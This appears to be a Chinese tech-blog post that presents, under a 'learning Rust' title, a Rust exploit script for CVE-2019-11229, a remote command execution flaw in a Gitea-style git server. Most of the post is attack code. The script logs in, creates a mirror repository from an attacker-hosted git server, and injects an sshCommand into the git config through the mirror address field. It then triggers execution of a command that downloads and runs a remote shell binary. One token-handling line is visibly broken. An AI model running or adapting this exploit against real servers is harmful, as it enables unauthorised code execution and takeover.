优秀的编程知识分享平台

网站首页 > 技术文章 正文

学习Rust编程——CVE-2019-11229(rust csv)

nanyue 2024-07-18 03:51:39 技术文章 7 ℃
[dependencies]
reqwest = { version = "0.11", default-features = false, features = ["rustls-tls", "cookies"] }
tokio = { version = "1", features = ["full"] }
anyhow = "1.0"
regex = "1.8"
tempfile = "3"
actix-web = "4.3"
actix-files = "0.6"
actix-service = "2.0"
rand = "0.8"
url = "2"
cookie = { version = "0.17", features = ["percent-encode"]}
use actix_files::Files;
use actix_web::{App, HttpServer};
use anyhow::Result;
use cookie::Cookie;
use rand::distributions::Alphanumeric;
use rand::{thread_rng, Rng};
use regex::Regex;
use reqwest::{cookie::CookieStore, cookie::Jar, Client};
use std::sync::Arc;
use std::{iter, path::Path};
use std::{process::exit, time::Duration};
use tokio::process::Command;
use url::Url;

#[tokio::main]
async fn main() -> Result<()> {
    let username = "test";
    let password = "password123";
    let host_addr = "192.168.1.1";
    let host_port: u16 = 3000;
    let target_url = "http://192.168.1.2:3000".trim_end_matches("/").to_string();
    let cmd =
        "wget http://192.168.1.1:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell";

    let http_timeout = Duration::from_secs(10);
    let cookie_store = Arc::new(Jar::default());
    let http_client = Client::builder()
        .timeout(http_timeout)
        .cookie_store(true)
        .cookie_provider(cookie_store.clone())
        .build()?;

    println!("Logging in");

    let body1 = [("user_name", username), ("password", password)];
    let url1 = format!("{}/user/login", target_url);
    let res1 = http_client.post(url1).form(&body1).send().await?;
    if !res1.status().is_success() {
        println!("Login unsuccessful");
        exit(1);
    }

    println!("Logged in successfully");

    println!("Retrieving user ID");

    let res2 = http_client.get(format!("{}/", target_url)).send().await?;
    if !res2.status().is_success() {
        println!("Could not retrieve user ID");
        exit(1);
    }

    let regexp_res2 =
        Regex::new(r#"<meta name="_uid" content="(.+)" />"#).expect("compiling regexp_res2");
    let body_res2 = res2.text().await?;
    let user_id = regexp_res2
        .captures_iter(&body_res2)
        .filter_map(|captures| captures.get(0))
        .map(|captured| captured.as_str().to_string())
        .collect::<Vec<String>>()
        .remove(0);

    println!("Retrieved user ID: {}", &user_id);

    // Hosting the repository to clone

    // here we use an sync function in an aync function, but it's okay as we are developing an epxloit, no extreme performance
    // is required
    let git_temp = tempfile::tempdir()?;

    exec_command("git", &["init"], git_temp.path()).await?;
    exec_command("git", &["config", "user.email", "x@x.com"], git_temp.path()).await?;
    exec_command("git", &["config", "user.name", "x"], git_temp.path()).await?;
    exec_command("touch", &["x"], git_temp.path()).await?;
    exec_command("git", &["add", "x"], git_temp.path()).await?;
    exec_command("git", &["commit", "-m", "x"], git_temp.path()).await?;

    let git_temp_path_str = git_temp
        .path()
        .to_str()
        .expect("converting git_temp_path to &str");
    let git_temp_repo = format!("{}.git", git_temp_path_str);
    exec_command(
        "git",
        &["clone", "--bare", git_temp_path_str, git_temp_repo.as_str()],
        git_temp.path(),
    )
    .await?;

    exec_command("git", &["update-server-info"], &git_temp_repo).await?;

    let endpoint = format!("{}:{}", &host_addr, host_port);

    tokio::task::spawn_blocking(move || {
        println!("Starting HTTP server");
        // see here for how to run actix-web in a tokio runtime https://github.com/actix/actix-web/issues/1283
        let actix_system = actix_web::rt::System::with_tokio_rt(|| {
            tokio::runtime::Builder::new_multi_thread()
                .enable_all()
                .build()
                .expect("building actix's web runtime")
        });
        actix_system.block_on(async move {
            HttpServer::new(move || {
                App::new().service(Files::new("/static", ".").prefer_utf8(true))
            })
            .bind(endpoint)
            .expect("binding http server")
            .run()
            .await
            .expect("running http server")
        });
    });

    // handler = partial(http.server.SimpleHTTPRequestHandler,directory='/tmp')
    // socketserver.TCPServer.allow_reuse_address = True
    // httpd = socketserver.TCPServer(("", HOST_PORT), handler)
    // t = threading.Thread(target=httpd.serve_forever)
    // t.start()
    // print('Created temporary git server to host {}.git'.format(gitTemp))

    println!("Created temporary git server to host {}", &git_temp_repo);

    println!("Creating repository");
    let mut rng = thread_rng();
    let repo_name: String = iter::repeat(())
        .map(|()| rng.sample(Alphanumeric))
        .map(char::from)
        .take(8)
        .collect();

    let clone_addr = format!(
        "http://{}:{}/{}.git",
        host_addr, host_port, git_temp_path_str
    );
    let cookies_url = target_url.parse::<Url>().expect("parsing cookies url");
    let csrf_token = (&cookie_store, &cookies_url)?;
    let body3 = [
        ("_csrf", csrf_token.as_str()),
        ("uid", user_id.as_str()),
        ("repo_name", repo_name.as_str()),
        ("clone_addr", clone_addr.as_str()),
        ("mirror", "on"),
    ];
    let res3 = http_client
        .post(format!("{}/repo/migrate", target_url))
        .form(&body3)
        .send()
        .await?;
    if !res3.status().is_success() {
        println!("Error creating repo");
        exit(1);
    }

    println!("Repo {} created", &repo_name);

    println!("Injecting command into repo");

    let command_to_inject = format!(
        r#"ssh://example.com/x/x"""\r\n[core]\r\nsshCommand="{}"\r\na=""""#,
        &cmd
    );
    let csrf_token = get_csrf_token(&cookie_store, &cookies_url)?;
    let body4 = [
        ("_csrf", csrf_token.as_str()),
        ("mirror_address", command_to_inject.as_str()),
        ("action", "mirror"),
        ("enable_prune", "on"),
        ("interval", "8h0m0s"),
    ];
    let res4 = http_client
        .post(format!(
            "{}/{}/{}/settings",
            target_url, &username, &repo_name
        ))
        .form(&body4)
        .send()
        .await?;
    if !res4.status().is_success() {
        println!("Error injecting command");
        exit(1);
    }

    println!("Command injected");

    println!("Triggering command");
    let csrf_token = get_csrf_token(&cookie_store, &cookies_url)?;
    let body5 = [("_csrf", csrf_token.as_str()), ("action", "mirror-sync")];
    let res5 = http_client
        .post(format!(
            "{}/{}/{}/settings",
            target_url, &username, &repo_name
        ))
        .form(&body5)
        .send()
        .await?;
    if !res5.status().is_success() {
        println!("Error triggering command");
        exit(1);
    }

    println!("Command triggered");

    Ok(())
}

fn get_csrf_token(cookies_jar: &Jar, cookies_url: &Url) -> Result<String, anyhow::Error> {
    let cookies = cookies_jar
        .cookies(&cookies_url)
        .ok_or(anyhow::anyhow!("getting cookies from store"))?;
    let csrf_cookie = cookies
        .to_str()?
        .split("; ")
        .into_iter()
        .map(|cookie| cookie.trim())
        .filter_map(|cookie| Cookie::parse(cookie).ok())
        .filter(|cookie| cookie.name() == "_csrf")
        .next()
        .ok_or(anyhow::anyhow!("getting csrf cookie from store"))?;
    Ok(csrf_cookie.value().to_string())
}

async fn exec_command(program: &str, args: &[&str], working_dir: impl AsRef<Path>) -> Result<()> {
    Command::new(program)
        .args(args)
        .current_dir(working_dir)
        .spawn()?
        .wait()
        .await?;

    Ok(())
}

Tags:

最近发表
标签列表